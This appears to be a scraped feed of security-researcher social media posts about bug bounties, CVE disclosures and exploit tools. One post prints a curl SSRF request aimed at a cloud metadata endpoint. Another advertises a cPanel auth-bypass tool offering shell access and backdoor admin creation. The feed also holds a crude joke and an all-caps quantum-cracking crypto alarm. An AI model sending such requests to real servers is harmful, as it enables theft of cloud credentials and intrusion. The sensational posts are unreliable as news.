Dilawer

Independent Security Researcher

[Md Ismail Šojal 🕷️ @0x0SojalSec]

Pre-built Jailbroken iOS 26 iPhone fully Run on VM

Full virtual iPhone ready-to-run jailbroken iPhone (rootless + Sileo + Filza + TrollStore vibes).

(iOS 26.1 PCC-based) already jailbroken + bootstrapped + few popular tweaks pre-installed.

No more painful QEMU/VZ setup from scratch.
Just download, follow 3 4 steps and you’re inside a real iOS environment on your Mac.

Test tweaks, exploit PoCs, debug without touching your daily driver.

16 GB+ RAM recommended

- https://t.co/MDqHtNVlWw

[skull @brutecat]

Hacking Google with A.I. for $500,000

https://t.co/S8NbDU9ZaN

[Behi @Behi_Sec]

https://t.co/K8gZsopzNg

[HackerOne @Hacker0x01]

Yesterday, we announced new product capabilities, and some of our messaging created confusion. We want to be direct.

Researcher submissions are not used to train, fine-tune, or otherwise improve generative AI models. This applies across our platform, including H1 Continuous Testing, H1 Agentic PTaaS, and Hai. Third-party model providers we work with are also prohibited from retaining or using researcher data for their own training.

We've updated our website language to reflect this more clearly. We heard your concerns, and we take them seriously.

[Preben @prebenve]

Found a cool bug at Meta.

From misconfigured Grafana instance to R/W access on 507 private Meta repositories.

Wrote up the full chain here:
https://t.co/LYQ0prc68d

$157k bounty awarded by @metabugbounty

[Dilawer @DilawerSec]

@thedawgyg Read there comments everyone is saying its rape😂

[Harsh Jaiswal @rootxharsh]

Last week's Next.js stable release patches multiple vulnerabilities found by @HacktronAI

CVE-2026-44578: SSRF via WebSocket upgrade.

It is the most impactful of all, it lets an attacker read internal hosts such as cloud metadata endpoints on self-hosted next.js applications.

curl -H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
"http://target:3000" \
--request-target "http://169.254.169.254/latest/meta-data/"

[0xSabir @0xSabir]

$14,337 Google Bug Bounty 🤑

Hacking Google Support: Leaking millions of customer records by Michael Dalton 🤯🔥

👨‍💻 Michael Dalton (https://t.co/fmpfi56Mdf)
🔗 https://t.co/zwLEQPXQV5

[Behi @Behi_Sec]

https://t.co/ybPysEvzt9

[H4x0r.DZ 🇰🇵 @h4x0r_dz]

$170k in Bypasses: The Vercel React2Shell Challenge by @S1r1u5_

https://t.co/pcGvoHnJ0X

[Yunus Emre Öztaş @ynsmroztas]

🚨 cPanelSniper — CVE-2026-41940

cPanel & WHM'de CVSS 10.0 kritik auth bypass.

CRLF injection → session file poisoning → root WHM access.

Zero creds. ~70M domain affected.

4-stage chain:

→ preauth session mint

→ CRLF inject via Authorization header

→ do_token_denied gadget (raw→cache flush)

→ /json-api/version → PWNED

✅ Interactive WHM shell

✅ Account enum · cmd exec · backdoor admin

✅ Bulk scan · pipeline ready · stdlib only

🔗 https://t.co/gmRA0xtEsx

#BugBounty #InfoSec #WHM #RedTeam #AppSec #bugbountytip #bugbountytips #infosec #recon

[watchTowr @watchtowrcyber]

The Internet is falling down, falling down, falling down

Welcome back to another disaster - this time, an Auth Bypass in cPanel/WHM, tracked as CVE-2026-41940

Enjoy with us..

https://t.co/bOzCPy8iS1

[NeilXbt @neil_xbt]

Andrej Karpathy could have charged $10,000 for this course.

He put it on YouTube.

The man who built Tesla Autopilot from scratch.
Co-founded OpenAI.
Understands AI at a level most engineers at Google and Meta never reach.

Sat down. Recorded 2 hours. No frameworks. No libraries. No shortcuts.

Then dropped it for free.

The gap between people who watch it this week and those who save it for later is not 2 hours.

It is everything those 2 hours quietly unlock for the rest of your career.

[Wimar.X @DefiWimar]

🚨 BREAKING

FIRST BTC ADDRESS JUST GOT CRACKED USING QUANTUM COMPUTING!

A HACKER BROKE A 15-BIT ECC KEY USING PUBLICLY AVAILABLE QUANTUM HARDWARE.

MEANWHILE, ~6.9 MILLION BTC ARE SITTING ON ADDRESSES WITH EXPOSED PUBLIC KEYS.

IF 256-BIT ECC FALLS, THESE COULD BE THE FIRST TO GO.

THIS IS EXTREMELY BAD FOR MARKETS!

[Andrew Gömez @red_darkin]

I reviewed a JS file several times. Found nothing.
Fed it to Claude Desktop (free version). It mapped hidden endpoints in seconds.
That led me to:
• PII of high-profile users
• Fund redirection to any bank account
• Balance manipulation

Check it ↓
https://t.co/8NL3Zd3IzH

[Ahmed Abdel Rasoul🦅 @0xbartita]

I vibe coded a tool that fetches your 𝗛𝗮𝗰𝗸𝗲𝗿𝗢𝗻𝗲 programs' 𝗔𝗻𝗱𝗿𝗼𝗶𝗱 scope, downloads the APKs via 𝗮𝗽𝗸𝗲𝗲𝗽, and decompiles them with 𝗷𝗮𝗱𝘅 — all in one go.

https://t.co/c7mUe365us

#hackerone #bugbountytips #android

[Dilawer @DilawerSec]

@hetmehtaa @hackerspider1 @Hacker0x01 😂😂😂😂😂😂😂

[Hazem @H4cktus]

Tomcat JMX Proxy exposed without auth?

Wrote a blog about how I got shell on a production Tomcat behind Cloudflare despite the deploy API being locked down, WAF blocking payloads, and CDN filtering template syntax.

8 dead ends. Then AccessLogValve + docBase + relaxedQueryChars + EL injection. 14 requests to RCE.

Tool + nuclei template included!

https://t.co/Ll5IkcnkDa

#bugbountytips #bugbounty

[Ben Sadeghipour @NahamSec]

I've been in the bug bounty scene for over a decade now. $2M in bounties later, I figured it was time to sit down and talk about everything I've learned! 👉🏼 https://t.co/08n3TETXvc

[0xor0ne @0xor0ne]

Writing shellcode into remote processes via ROP gadgets and existing RWX regions

https://t.co/SFfTtXPW7e

Research by @G3tSyst3m

#infosec